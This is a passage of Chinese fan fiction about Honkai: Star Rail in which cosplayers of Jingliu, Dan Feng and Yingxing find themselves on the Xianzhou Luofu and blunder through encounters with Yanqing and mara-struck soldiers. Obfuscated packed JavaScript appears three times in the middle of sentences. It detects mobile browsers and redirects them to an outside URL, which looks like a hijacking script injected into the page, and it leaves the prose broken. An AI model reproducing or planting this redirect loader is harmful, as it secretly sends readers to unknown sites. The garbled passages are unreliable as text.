我本以为这位“镜流”发现自己穿越之后,会很激动地想要加入主角团,改变主线走向,走上人生巅峰,结果她居然是个原剧情主义者? 意料之外啊。 毕竟穿越这件事不多见,cos穿这件事更不多见,夹带私心地想让故事按自己的构思发展,也是人之常情。 但是…… 我回答:“我记得台本上说,不能按原著剧情走的啊?” “啊。” “镜流”又轻轻地“啊”了一声,我不知其意,不过她似乎胸有成竹:“我们也没在主线剧情里呀,这叫新的支线任务。” “什么任务?”我问。 “找到“应星”啊!”她的眼睛亮闪闪地放出光芒。 “我刚在路上遇见你之前,瞧见他一溜烟蹿上星槎往工造司的方向去了,我们得赶紧过去和他汇合,防止他被意外牵扯进原作剧情,要不然,我们可能就会被历史给抹杀掉!” 这次轮到我恍然大悟了。 症状判明:都是看电视剧看的。 - 其实我觉得是时候坦白从宽了。 按照这个逻辑,我在宣夜大街上被景元和龙师抓到的时候,大概混沌效应的蝴蝶已经振翅翩飞了。 于是我肯定道:“你说的对,但……” 黑底白字闪过,我一五一十地向她描述了我穿回罗浮后的遭遇,并且谨慎地隐去了我身为丹鼎司医士穿到现代社会又意外穿回了故乡的前情提要。 主要是,我怕讲出来吓到她。 根据我的观察,“现代社会”的人好像精神挺脆弱的,不过他们特别会忍。不像寿数以百十而计的仙舟人,一不小心就魔阴身了。 活得太长未必是好事。 ……是吗? 我的脑子忽然冒出了这样一个反问,好生奇怪,我以前从来不会思考这么高深的哲学理念的。 “嘶哈、嘶哈。”面前的女人沉重地喘了口气,“没关系,不要紧,想来只要不影响大的走向就没问题。” “确实。”我配合地点点头。 因为实在不知道该说些什么好。 难道正常人穿越了,不是应该先想方弄明白穿越的原理,然后设法回到原来的世界去,而不是在这里激动地打算完成些支线任务吧! 哦,等等,你说我? 我不是正常人,我是个死人。 而且我本来就是这个世界的啊! “消失的应星,焦虑的丹枫,和失控的镜流,不妙不妙。”她迅速地下定决心,“我们现在就出发,阻止他被陷入时空漩涡中!” “镜流”的语气听起来不容反抗。 “我觉得……”我犹豫地举起了提问的手,“一个已故龙尊和一个仙舟‘叛徒’,我们俩可能更危险点?” 她向我投来了茅塞顿开的目光。 而我仍旧没有跟上她的脑回路。 “有道理,所以我们得先采取一些必要措施。”她大力一拍墙壁,“你提醒我了,我们需要乔装打扮一番!” - 此事说简单不简单,说难也不难。 长乐天的杂货小铺里各类物品应有尽有,通过我多年积累的砍价经验,我凭借着从袖子里掏出的区区几枚巡镝顺利买到了披风和墨镜。 “什么,你居然有钱?”她看到我从袖子里掏出钱的瞬间惊呼道。 我顿了一顿,委婉道:“难道你原本打算白拿吗?不过这巡镝,确实是凭空出现我的袖子里的。” “镜流”立刻露出豁然开朗的笑容:“欸?莫非是因为我之前嫌你的c服袖子乱飞,所以往衣袖缝里面丢了几枚硬币压压重量,结果过来以后,你变成了丹枫,它们也一起变成了巡镝?” 好合理的推断,我无法反驳。 虽然我觉得她的笑容真的很OOC,可我不太好意思指出,毕竟是队友,只要她玩得开心,我也没有意见。 “镜流”欢欢喜喜地戴起墨镜,披上披风,然后把另一件披风按在了我的头顶,帮我遮住龙角。 “大功告成!”她满意地叉了叉腰,反身准备出发。 我恍惚间瞧着她的背影,忽然想起一件很重要的事情。 社团里面除了几个固定成员,其他的人都是出漫展的时候临时招募过来的,我其实并不清楚她的真名,只是一直图省事地称呼她为“镜流”…… 她已经往外走了好几步,我感到再不问,可能就没机会了。 时不久留,人无恒常。 于是我抬了抬手,连忙开口对她问道:“忘了问了,朋友,该怎么称呼?” 她突然止住了脚步。 一阵沉默过后,我看见她高深莫测地回过头,露齿一笑。 “干我们这一行的,从不讲真名。”她说,“就叫我代号96吧,这是我cn!” - 我认为她在敷衍我。 这个代号96不是一听就是“镜流”的谐音吗?还是说,她是镜流激推? 不过纠结这个没有意义。 我顶着拙劣的伪装,硬着头皮跟着她出去,笔直地往长乐天的渡口去。 我回忆起来之前粗略浏览过的主线剧情,建木复苏之后,星穹列车的诸位无名客应该在工造司镇压建木根系,而接下来他们会前往丹鼎司迎击丹枢,发现假扮停云的幻胧。 “等一等。”我突然压低声调喊道。 “镜流”回头看我。 姑且还是称她为“镜流”吧,代号96听起来实在有点……太中二了。 “现在我们去工造司,要是刚巧碰上了列车组该如何是好?”我问。 而且星穹列车的丹恒先生也在工造司,不敢想象如果不巧碰见了他,他会受到怎样的惊吓—— “朋友,那就别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471716|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碰上啊。” “镜流”毫不惊诧,从容自若地拍拍胸脯:“作为仙舟推,罗浮的剧情我可是倒背如流,保证遇不上的!” 但愿如此吧。 我还是多有顾虑,可能我的性子就是如此优柔寡断,假若上天再给我一次选择的机会,我那天肯定不会去上班。 坚决旷工。 “哎呀,你还有更多的钱吗?” 我沉浸在胡思乱想之中时,“镜流”已经主观能动性非常强地在继续推进剧情了,拍了拍我的肩膀,又指了指码头边停着的星槎。 啊,熟悉的感觉。 “自动驾驶,投币使用。” 此时此刻不得不佩服仙舟人的经商头脑,只是在采购完乔装打扮的道具后,我也是囊中羞涩了啊。 “早知道我该多放点硬币的,就这可以不费力气地暴富了。” “镜流”抱着手臂惋惜地说道。 我惊叹,重点不是这个吧! “显然游戏剧情里没这part内容,说明我们可以自由创作了。”她嘿嘿一笑,“丹枫,你怎么看?” 苍天大地,我本已经接受自己只是个普通NPC的设定了。 为什么现在还要赶鸭子上架,让我当文案啊? “不,我用眼睛看。” 我深沉地表达了自己淳朴的愿望。 对不起,文案这工作我可真做不了,据说策划都是985毕业的,想来文案应该也是,那我是更不配了。 “现代社会”可不认罗浮仙舟学历! “镜流”一下子陷入了茫然的沉默中,她似乎非常给面子的在认真揣摩我的回答的笑点在那里。 尽管如此,这沉默没能成功持续很久,因为…… *尖锐的仙舟雅言*,彦卿来了。 闪现,神策府的少年剑客,景元将军的贴身护卫,镜流师祖的天才徒弟,未来的罗浮剑首,仙舟的明日之星! “你是谁?” 他的视线在我和“镜流”两人之间流转,语气严肃中夹杂着困惑。 怎么罗浮的人个个爱问这个。 我一扶额头,简直欲哭无泪,原以为至少会是爽文人生的,何以如今处处掣肘呢?我说自己是丹枫不是,我说自己并非丹枫也不是…… 所以我究竟该怎么回答这个痛击灵魂深处、极富哲学研究价值的问题? 甚至它还有个plus升级版。 彦卿以迅雷不及掩耳之势唤出飞剑,朗声问道:“你们是谁?” 我盘算着先按兵不动,然而“镜流”热情地抢答道:“哎呀,这个小弟弟我见过的啊。” 她真的是看了很多电视剧。 或许,还有文学著作。 有一瞬间,我甚至感觉她不像“镜流”,而更适合出“三月七”的cos,不过必须承认,她这招居然起了一点作用。 彦卿慢慢收起剑,仔仔细细地打量起她,和我。 然后事情的发展再一次超出了我的预料,事实证明我还是不预料为好—— “是你!” 彦卿大呵一声。 “我在流云渡接了你一剑,你留下字条说要去寻找星核猎手要犯。”他慷慨激烈地说道,“我正要去将此事禀告将军,没想到先在这里遇见了你,以及你居心不良的同伙。” 糟糕,太糟糕了。 我无助地望向“镜流”。 朋友,这和说好的计划不一样啊。 “镜流”在迫在眉睫的战斗触发之前,尴尬地一摸柔顺的白色头毛:“哎呀,抱歉,我忘记了,还有个彦卿的同行任务。” 叫做“霜刃一试”。 5. 试逝了 此情此景,恐怕不是镜流以此身为剑试了试彦卿,而是我们即将要被彦卿的飞剑试了。 同时,逝上一逝。 试试就试试,大不了真的逝了。 我这个前世死透了的,现世不知名状态的家伙倒是没什么,但我不想把“镜流”拖下水,毕竟她是那个“现代社会”的正常人,不该卷进仙舟的恩怨情仇中。 但我实在做不了命运的主…… 就在千钧一发之际,“镜流”又开动了她精妙的脑筋,急急忙忙地解释道:“彦卿兄弟,你认错人了!” 多么似曾相识的一句话。 我表示这招太落后了,于是更胜一筹地说道:“哼,无礼之徒。” 我本想表示,彦卿兄弟你误会我了,然而一股强烈的“不要OOC”的情绪忽地攥住了我的精神,让我临时改转话锋。 “狂悖之人,你居然在这里假扮持明龙尊!”彦卿顿时将矛头转向我,得亏他是将军亲自教养出来的,算是比较熟读历史。 据说现在的仙舟人都不怎么读书了,连建木是什么玩意也不晓得。 世风日下啊。 “镜流”依旧没有放弃她以理服人的追求:“哎呀,彦卿小兄弟您别误会了,我们其实是——” 喂,抢我台词了啊! 我心中狐疑地望向“镜流”,一边害怕她会语出惊人,或者系统错乱吐露出不该吐露的真相,一边对她未出口的解释寄予了一丝绝境求生的希望,隐隐寄托了几分信任,相信着她真的可以凭借机敏的才智把剧情圆回来。 然而果不出我所料。 “嘿,我们其实是——”她朝我wink一下,底气十足地说道,“呦,呦,切克闹,我们就是远渡重洋而来的幻戏大师!久闻仙舟风采,今日一观,大为拜服。” “幻戏?”彦卿不可置信地重复道。 “镜流”的解释乍一听很合理,细细想来,也确实有那么点道理。 我觉得彦卿应当是盟友,不是敌人。但这只是我希望的,而我并不知道彦卿希不希望与我们做朋友,而且我觉得他可能不太想认识我们两个过度OOC的家伙。 “对,没错。”白发少女点点头。 我的coser朋友越说越自信,好像把自己也骗进去了:“我们是从匹诺康尼来的表演家,受邀参加全新大制作超级英雄幻戏,就叫《云上五骁联盟》!” 喂,这里是罗浮仙舟,他们听不懂你玩的梗! 我很想仰天长叹,然而“镜流”眨巴着水灵灵的大眼睛,满怀诚恳。 “云上五骁……” 彦卿念叨这个词,低蹙着眉头来回思索,好像有点被说服了的样子。 可下一秒他重新抬起头,神情变得凝重,连连摇头。 “不对啊,那你为何会出现在流云渡,非要与我比试比试,还迫我接你一剑?彼时彼刻我感受的剑光威压,绝非常人所能施与!” 真遗憾。 我们的计谋出师未捷身先死了。 “镜流”开始疯狂地“啊”起来,越说越虚:“你信我,这是、是、是在排练啦!在对台本……” 她给我们编排的新身份确实有点合理性在,只不过漏洞好像更多。 “看招!” 彦卿毫不留情凝起冰气。 眼看他的飞剑马上就要咻的一下插到我们面前来了,然后咻的一下插到我的尸体上了。 我想着,三十六计走为上策。 我赶紧估摸着——要不干脆跳上星槎,一脚油门踩飞,比比是彦卿的飞剑快,还是我们的星槎快——的时候。 ——救星出现了。 - 谢天谢地,仙舟还是有好人在的。 地衡司的执事官大毫先生气喘吁吁地跑过来,挡在我们中间劝说道:“彦卿骁卫,莫要动武,莫要动武!” 地衡司是仙舟的基层行政机关。 我想彦卿兄弟还是个很讲道理的人,他看见地衡司的人过来调解,而眼前的两位疑犯竟没有任何暴力抵抗的打算,便放下了剑,打算先听个明白。 不是我不想。 是真的打不过。 大毫神情愧疚地对我们说:“各位抱歉,是我来迟了,我本来下了班正在搓两盘帝垣琼玉呢,突然来了神策府的情报,我立马收拾了筹码跑过来,紧赶慢赶,幸好赶上了。” 辛苦大毫下了班还得来处理庶务,致敬他们这些传奇公务人员。 大毫瞧了我们一眼,继续说道:“呃,呃,这两位确属将军的贵客,尤其是这位「吞日君」阁下,正在执行将军派遣的秘密任务。” 私人委托啊。 这招我熟! 前情提要一下,主线剧情里景元就以神策府的名义委托星穹列车去调查星核猎手的,现在,嘿嘿,又来这一招! 果然好用的计策可以一直用下去。 看来景元有的时候。 ……也会图省事? “镜流”一把揽住我的肩膀:“厉害啊,兄弟。几个小时不见,你都当上大官了!还整什么「吞日君」出来,太热血了吧!” 友善提醒,入圈的时候一定要记得取个靠谱的cn,不然被公开处刑的时候可太尴尬了。 大毫出示了他的身份证件和将军的谕令手札,彦卿认真检视了一番,确保它们确实是真的后,态度稍微松缓下来。 然后对我们说:“你们可以走了。” - 实际上,彦卿的原话还是非常礼貌客气的,我在此去除了删繁就简,提炼了一下主旨。 ——反正意思是“你被释放了”。 虽然我闻出了一股子将信将疑的味道,但他选择遵从景元的指令,甚至好心地为我们付了星槎的钱。 “啧。” “我们现在也是有身份的人了!” “镜流”喜悦地拍了拍我的肩,然后蹦蹦跳跳地钻进了星槎,她的手实在很凉,冻得我一哆嗦。 “建议落户罗浮持明族。”我说,“工作包分配。” 生命危险也包分配。 真是,我一生最惨痛的教训。 “镜流”没有把我的话放在心上,冲我嘻嘻一笑,鼓捣起了穹仪导航,让自动驾驶系统将航线校准至工造司的方向,接着回过头来冲我嘻嘻一笑。 在OOC的路上一去不复返了。 “经过刚刚那一遭,我现在更确信了一点。”但是这厢她突然沉思起来,居然有了点真·镜流的感觉,“我们一定要小心谨慎,绝不能干涉原始剧情,以免触发时间线的异动。” “我想景元之前把你关进幽囚狱,正是出于这个考量。” 她一本正经地推理起来:“当时列车组肯定在流云渡或者星槎海以及周边行动,他为了避免你撞见他们,所以把你请进了幽囚狱。现在建木生发,他们一路从太卜司到工造司再到丹鼎司和鳞渊境,景元觉得你们应该不会相逢,故而让你出来了。” “天衣无缝啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471717|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她自我评价道。 赞同。 但…… 经过刚刚发生的一系列事件,我已经相信了,她一贯是很有“逻辑头脑”的。 可现在另一件要紧的事占据了我的全部注意力—— 星槎的控制面板发出了目眩神迷的光彩,提醒着我们: “滴滴,自动驾驶已失效。” “滴滴,请手动操作备降。” 我想这是因为在我们进入工造司的空域后,自动驾驶系统受到星核冲击波影响,突然陷入了失灵状态,所以现在必须开启人工操作模式。 但除此以外,还有一个关键问题。 “你会开星槎吗?” 我朝着“镜流”问道。 “当然不会啊。” 她耸耸肩。 “再不操作的话,我们就要坠毁了。”我震惊道,开始狂按面板,尝试着找到到底哪个才是起落架按键。 “就算要坠毁了,我也不会开星槎啊!”她同样震惊道,开始狂翻柜子,尝试着找出救生衣在那里。 所以说。 推理要在学会驾驶星槎后。 - 轰。 星槎歪歪扭扭地撞击了工造司的地面,以一声巨响终结了它的使用寿命。 抽卡坠机,开星槎也坠机。 说明我是非酋本酋。 幸好就在我们刚刚马上要和大地来一个亲密接触的时刻,我心中蕴藏的龙尊力量来个应急启动,哗啦一声卷积而起的厚重水流作为支撑,托举了星槎一下,以至于它仅仅是裂开了,而没有彻底分崩离析。 丹枫大人也是永远的神,总是救我于危难之中,听我说,谢谢您。 青色的浪涛间歇散去。 我看见“镜流”的衣服飘带被断裂的星槎筋架勾住了,导致她悬挂在了空中,双脚离地半尺,满脸写着无奈。 “我不行了……”她捂住胸口,语调充满悲戚,气息奄奄,“丹枫啊,我的6+1镜流和64800星琼就交给你了。” 我只道:“加油,你还可以肝的!” 然后我将她从半尺之高的空中解救下来,她落到湿漉漉的地面上,激起一层水花,若有所思地凝望着我。 她问:“你这‘苍龙濯世’是正经的吗?” 我答:“可能是只消耗一个技能点的mini版。” 命运的馈赠实在太过丰厚,我不敢肆意妄用,情急之下才动用了它。 我想,如果我获得这份力量,能有所用处便是最好;如果我仍旧碌碌无为半生,岂不是荒废了这样的一番苦心? 然而每每我开始庸人自扰时—— 总有人打断。 “镜流”的表情突然转变成不可置信的样子,大吃一惊地对我说道:“为什么你可以使用技能,而我不可以?” 我也惊了:“难道你没办法,那个什么,照彻万川吗?” “镜流”使劲地摇了摇头。 我注视着她赤红的眼瞳,顿时感到一阵寒意自下而上地袭来。 “啊。”她说。 “啊。”我说。 我们的视线在沉默之中交汇,仿佛她想对我问出什么,而我也想对她问出什么,可我们两人都在等待对方先开口,气氛就变得尴尬起来。 “哈。” 这时,我们的身后传来一声狷狂的轻笑,第三人加入了单音节语气词的较量之中。 那个人说:“你们别说话。” 6. 走起了 为什么? 我呼吸骤然一蹙,瞬间绷紧精神站在原地不敢乱动,生怕触发了什么不知名的机制招致惨烈后果。 然后那个人慢慢地吐出了后半句: “……让我来说。” *极致的仙舟雅言*。 合着我还以为有什么大事,原来就是你小子想先说话啊! 真不愧是他。 如果现在沉下心来仔细打量一下,白色的头毛,玉兰花的簪子,还有那个由于某些原因导致的黑瞳……哦,那是个无心之失,且听下文分解。 显然。 此人正乃“应星”也。 这个倒是错不了,因为仙舟上现在也没有第二个白毛天才工匠。而且我很肯定他就是之前在舞台上站在我右手边的那个“应星”。 为什么这么说? 因为那天的漫展上还有挺多个“他”来着,好像当时整了个百人打卡活动,到处呼唤着大家来集邮。 当然,我分辨出来他正是那时站在我旁边的“应星”的关键在于—— 美瞳颜色。 那时上台前,他们还在争论应星的瞳色到底是什么,有人认为那是灰紫色,有人认为那是蓝紫色。 我发现那个“现代社会”好像非常执着于颜色这种东西,听说普通人搞错了颜色,一不小心就会被“投厕”? 虽然不知道为什么要把人投入厕所当惩罚,但我必须为“应星”辩护一句: 他不是故意的。 因为前面一个节目的嘉宾出现问题集体失踪了,主办方就直接把我们赶上了跳劲爆热舞。 然后我在混乱的走位之中,就无比清晰地看见,在动感的上蹿下跳的节奏影响之下—— 他的美瞳水灵灵地滑片了。 希望我未来不会被迫去厕所里找他,要怪都怪主办方! 和美瞳生产厂家。 看到“应星”自己送上门来了,刚刚还气若游丝的“镜流”高兴地差点蹦了起来:“嘿,应星,我们正要找你呢!” 算了,我不多评价了,写同人文会ooc算是正常,出cos会ooc也算是不可避免,但我还有一个关键的问题。 我看向“镜流”,面对她纯真善良的笑容:“代号96,你为什么不叫他的真名,是因为不想吗?” 她说:“别问我,我是临时工。” 我:“……” 合情合理,我无法反驳。 “要不,我们加个玉兆好友,保证不会清列互删的!”她掏出裹了镜流同款深色保护壳的手机,专注地摆弄起来页面。 然后度过了漫长的五秒钟后,她猛然抬头,讶然道:“呀,怎么会没信号?” 我仔细想了想,排除掉最有可能的那个可能,就只剩下一个可能了:“可能,系统不兼容。” 不过为什么她穿越还能带着手机一起穿?“现代社会”的技术真的能和仙舟技术共通? 我的疑问很深重。 但有的人脸色比我的疑问更深。 “喂。” 白毛男人发出一声无奈的叫喊。 我们两人抬头看他,终于意识到对话的关键好像已经跑偏了八千里路云和月,而忘记及时去对“应星”的心理状态投以关注,以至于—— “都说了,别说话,让我来说!” “应星”气鼓鼓地对我们喊道。 我这个人有个无伤大雅的毛病,就是说话太夸张,所以为了避免误会,我有必要纠正一下:“应星”作为一名合格的coser是很有表情管理的天赋的,他现在严肃的样子看起来的确非常符合人设。 而我得出这个结论,主要是因为…… 他的胸膛被气得比较“鼓”。 符合,人设。 “镜流”总算后知后觉地察觉了不对劲,错愕地望向我,快速扑闪的眼神好像在说: 快,帮帮孩子吧。 但是依据我在丹鼎司多年来面对棘手病人和熊孩子的经验,这个时候最好—— 保持安静。 让他自由发挥。 “你们有没有想过一个问题?”白发男子阴森森地笑着,手里提着着一柄木剑,“当我们穿到这里之后,为什么能够无障碍听懂所有人的话?” 好问题,真把我难倒了。 我的确没有思考过这个问题,因为我原本就是这个世界的人? ……又或者说,其实全宇宙都说X国话?毕竟这是个X国出品的游戏,全宇宙讲X国话,好像也不奇怪。 话说我一直戴着联觉信标,有这个玩意,一切倒是好解释。 但他们两个有吗? 我想看看“镜流”是怎么回答的,她却挂着一脸不以为意的笑容。 她说:“这都cos穿了,还管这个做什么~” 甚至语气都变轻快了呢。 某种意义,我认为,在场所有人的脑回路是惊人的一致。 一致的离谱。 “应星”没有受到“镜流”天才逻辑的影响,更没有被说服,铁了心要表达自己的观点,随即张开双臂,以宽阔的胸脯迎接阳光的照耀。 “你们,有没有听说莱布尼茨之刃这个概念?”他的眼睛透着一股世界的真理我已解明的超凡之感。 哦,原来是个哲学青年。 “刃?”状况之外的“镜流”大抵在一堆晦涩的语句中只捕捉到了这个关键词,“什么?刃在哪里?这里吗?” 我选择及时拉住“镜流”并尝试解释笑点:“放心,这是一把哲学的刃,而非真正的‘刃’。” “啊——” 她的眼中闪烁了一丝失落。 但是“应星”滔滔不绝地开始大发议论,我们谁都没法阻止他,也没有想法阻止他,因为我们都在看热闹。 “简单来说。”他还是顾虑了一下我们听众的智力水平,“如果一个东西看起来像鸭子,走路像鸭子,游泳像鸭子,叫起来也像鸭子,那么,它就是一只确凿无疑的鸭子!①” 我觉得或许真理大学和神悟树庭更适合他,而不是工造司和漫展。 当然这听起来很有道理,我和“镜流”纷纷点头并等待下文,因为我们不知道为什么要拿鸭子举例。 或许,应星爱吃烤鸭? “我感到一股力量正在侵蚀我……”他呼出一口桀骜不驯的长气,“这个世界已将我们同化……” “说人话,谢谢。” 我秒答。 - 经过困难的沟通,我终于勉强明白了“应星”的意思。 建立在他的哲学理论基础上,他给自己的黑色眼瞳找了个合理解释,以免自己被挂在厕所里。 这是其一。 其二,也是最主要,他认为我们在以“现代社会”的肉/身穿越进这个“游戏世界”的时候,为了确保这个世界的秩序不被打破,我们被迫遭到“同好”。 就是,假的也变成真的了。 比如当你cos烤鸭穿越到一个只存在烤鸭这一种生物的世界时,你受到位面法则的影响,不得不变成了一只真的烤鸭。 否则的话,烤鸭的世界就会“崩坏”,陷入底层逻辑瓦解的危机。 嗯,好像突然点题了。 毕竟我仍旧记得,这个游戏的标题是带着“崩坏”两个字的,而“景元”和“镜流”曾向我解释过,这意味着剧情里会有许多刀子。 好的,我现在算是明白了cos穿的原理……如果姑且相信这位大哲学家。 但我不明白此时此刻为什么“应星”突然对着我抬起木剑。 “哈哈哈哈……” “唯有、我、才是真实!”② 他朗声大笑着,语气中渗透着恐怖的疯狂,我看见他的黑瞳突然染上了或蓝或紫的底色。 不过。 喂,串戏了啊! 你cos的是应星,不是那刻夏啊!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471718|169890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那原始木模版本的支离剑不由我分说,直接朝我的门面突刺而来。我的本能嗡嗡作响,大脑努力向身体发送指令:老铁,快动啊。 “嘿,走起——” 清脆的女声适时响起。 “镜流”眼疾手快地拉了我一下,带着我往旁边一躲,我终于反应过来,闪身避过下一刺,衣袖与长发齐飞。 呜呼,幸好我闪得快! “镜流”看着我飞扬的长发,捧场地哇了一声,然后娇柔的举起双手掩住脸,语气婉转地道:“啊,这个皇后我已经做得厌烦疲倦,不想再忍了!”③ 说得对。 从我死去的那一刻去,我就不想再忍了,这辈子誓不做忍人。 但我真不至于为此断发啊,朋友,你真的看电视看得太多了! “我不明白。”我朝“应星”摊了摊手,他依旧抬着剑,却没有继续行动,“你为什么要打我!我是你的友方啊!” “你会明白的!” 他咧起嘴角,可我看不透他的想法。 就在我还没弄明白他在回答哪句话的迷茫中,我们四周突然显现出的数个躯壳生出无数丰饶荣枝的魔阴身士卒。 *痛苦的仙舟雅言*。 我是什么play当中的一环吗? “怎么穿越了还要打小怪啊。”我身边传来一声同样痛苦的长叹,“我想呼叫黄泉,可以吗?” “我木知啊。”我着实委屈。 魔阴身士卒已经冲了过来,“镜流”又使出她最擅长的那一招,寒冰三尺的手揪住我的后颈皮,把我往地上一按,躲避攻击。 我一转头,就看见“应星”高喊着什么为了仙舟,为了宇宙,为了真理就冲了上去,剑光翻飞。 “兄弟,我来助战!” 虽然这个“镜流”没办法使出照彻万川,但危机当前,她好像忽然进入了角色状态。 “以此身为剑……” 她胡乱地从地上抓起了那个叫做不求人的爪型物体,开始击球之旅。 “啊,我也来!” 我在地上奋力地翻滚了一番,终于找到一个合适的角度,打算召出水龙卷一劳永逸地将他们全卷走。 然而偏偏在这个时候—— 我清楚地看到一个魔阴身士卒骤然落到我的面前,它手臂中穿出的刺刀距离我的胸口仅有一寸距离。 草草草草草草。 此时纵使我想使出全力抵抗,也来不及了,更不得什么雅言不雅言了。 真是,燃起了啊…… 而且感觉自己燃得快死了,还是翻来覆去地死第二回—— 我想,当时那个场景仍旧铭心刻骨在我的脑海中,带着丰饶气息的尖刃如何刺透脆弱的肌理,如何洞穿我的心脏,如何撕开一个空腔。 我看着他们的眼睛,可他们的眼睛却丝毫不带着色彩,他们像丢一袋垃圾一样,把我扔在墙脚,然后红色的踪迹涂满了这片地。 或许,如果我在那时便已彻底地阖门长眠,才是一个普通人的普通人生,万万千千的仙舟子民亦是如此。 我至今仍不确定帝弓司命是否真的施舍了我一个目光,为我带来了一段死后传奇。然而我觉得,他大概并没有注视过我,这不过是命运的一个无伤大雅的玩笑罢了…… 啊,对不起。 不小心就思考得太多了,我这脑子就爱胡思乱想。 “为了……神迹!” 魔阴身士卒已经出刀。 当我正想着是时候该绝望地闭上眼睛时,一道冷峭的寒光闪过,冰凝长剑瞬间贯穿了敌人的胸腹。 “啊啊啊,看招——!” 好吧,她果然是个复读机,又复刻了彦卿之前说的台词,可我还没来得及对此做出新的反应。 “镜流”反倒先跪坐在地上,声音颤抖地说道:“对不起、对不起……我一时没控制力度……” 我的心脏骤停了五个系统分钟。 7. 允悲了 幸好。 我还记得自己是个仙舟人。 骨子里那治病救人的天赋突然间起效了,我冲过去翻了一翻“镜流”的腕子,把了一把脉—— 啊,啥事没有。 “那他呢?” “镜流”呜咽着指了指地上倒下的魔阴身士卒,我顺势看过去,被她凝出的冰刃击溃的敌人正一动不动地仰望着天空。 活像一个仰望天空派。 “我不会真把他杀了吧!”旁边的“镜流”惊恐万状地说道,“不要啊,杀人犯法,我不想进狱啊!” 正当防卫,应当不至于会进幽囚狱。 这厢“应星”已经唰唰唰地把周围剩下的魔阴身士卒干倒在地。 他什么时候有这么高超的战斗力了,怎么没人告诉我一下啊! 我以为他cos的是“应星”,什么时候竟然还有我不知道的新设定了?他能一个打百个了? 太好了,我们仙舟有救了。 不过那不是现在该考虑的事情。 我低头粗略地检查一下魔阴身士卒的情况,一边斜觑着“应星”的动向,一边对着“镜流”解释道:“你还记得游戏里的怪物机制吗?” 这怪物有两管血,希儿一刀都砍不死,允悲。 “哦,哦!”她听罢,似懂非懂。 我继续说:“这些是堕入魔阴身的仙舟士卒,虽然失去了清醒的神智,但身体得到了「丰饶」力量的加持,自愈力会增强,这点伤他们过会就能缓过来。” “这个时候——” “应星”转身朝向我们,他的语气夹杂着我听不出来的情绪,我懵里懵懂地抬头看他,而“镜流”还瘫在地上,像个闹脾气的小孩。 “——就没必要解释设定了吧。” 我认真地打量着他的木剑,它此刻萦绕着一股骇人的杀气,而他的脸上同样萦绕着一股骇人的杀气。 记得因为应星和丹枫一样,没在主线或者支线剧情里有什么正面出场,于是自由发挥的空间比较大,这“应星”自己整了把木剑当拍团片时候的道具。 嘿,cos穿原来还能自带武器。 “应星”看起来似乎还在急切地等待我的回答。 “有道理。” 我醒悟过来,赶紧握住“镜流”的双手,大声交出了她的名号:“代号96,大恩不敢言谢,我来日必涌泉相报!” “不谢不谢。”她非常配合地与我相顾而视,“能力越大,责任越大!” 她再次盗用了影视作品的台词,虽然十分应景。不过我觉得这超级英雄还是不当为好,毕竟电影制作公司大多舍不得给他们一个好结局。 罗浮的幻戏行业也是如此,只要是热门,立马出个续集狗尾续貂。 另一边“应星”望着我俩的表演,变得肉眼可见的无语起来,猛咳了好几声,企图吸引我们的注意力。 “还记得吗?”他冷冷地问。 “报告老师,不记得了。” 我和“镜流”像拨浪鼓一样摇头,难以解释,和“镜流”待在一起久了,大概我的磁场也被她同化了。 “这个世界的真理!” 他提醒说。 哎呀,想起来了,都想起来了! 那个关于鸭子或是烤鸭的学说,也就是如果一个人每一方面像另一个,那他就会变成那个人。 我承认他讲的是有几分道理的。 这的确能够解释此前种种异状,但我不禁想到,知道这个又有什么意义呢……? 我的心里有一个声音在说话。 意义,是什么? “你问得好!”白毛工匠的cos版突然大笑起来,“当我们从虚假变为真实的时候,就意味着我们应当承受起相随而生的义务。这份记忆的价值,这份过往的重量,将由我们来延续!” 我觉得自己好像是没有无意间把心声吐露出来的,然而他却像是未卜而知一样,回应着我的疑问。 虽然哲学青年往往让人望而却步、避之不及。 “有一句话不知当讲不当讲……” 我小心翼翼地试探道。 “应星”向我甩来一个眼刀,深沉地答曰:“不当讲。” - “哼。” 他再次发出那个酷炫的*哼*。 “夏虫不可语冰,既然如此。”他说着,“我会用行动来证明我的理论!” 啥? 我和“镜流”两个人目睹着“应星”二话不说地跳上栏杆,咻咻咻地踩着它们远去了,我甚至来不及亲切地呼唤他一声。 苍天大地。 这个宇宙还有正常人吗? “镜流”非常适时地回望着我,张口说道:“总算可以喘口气了,这剧情流程可真是一波三折,奖励还就给那么一点点,策划抠门!” 我赶紧问她:“你还记得我们来这里都最初目的吗?” 她答:“记得啊,找到‘应星’嘛!我们这不是圆满完成任务了吗?” “可是他现在又跑了啊!”我惊呼。 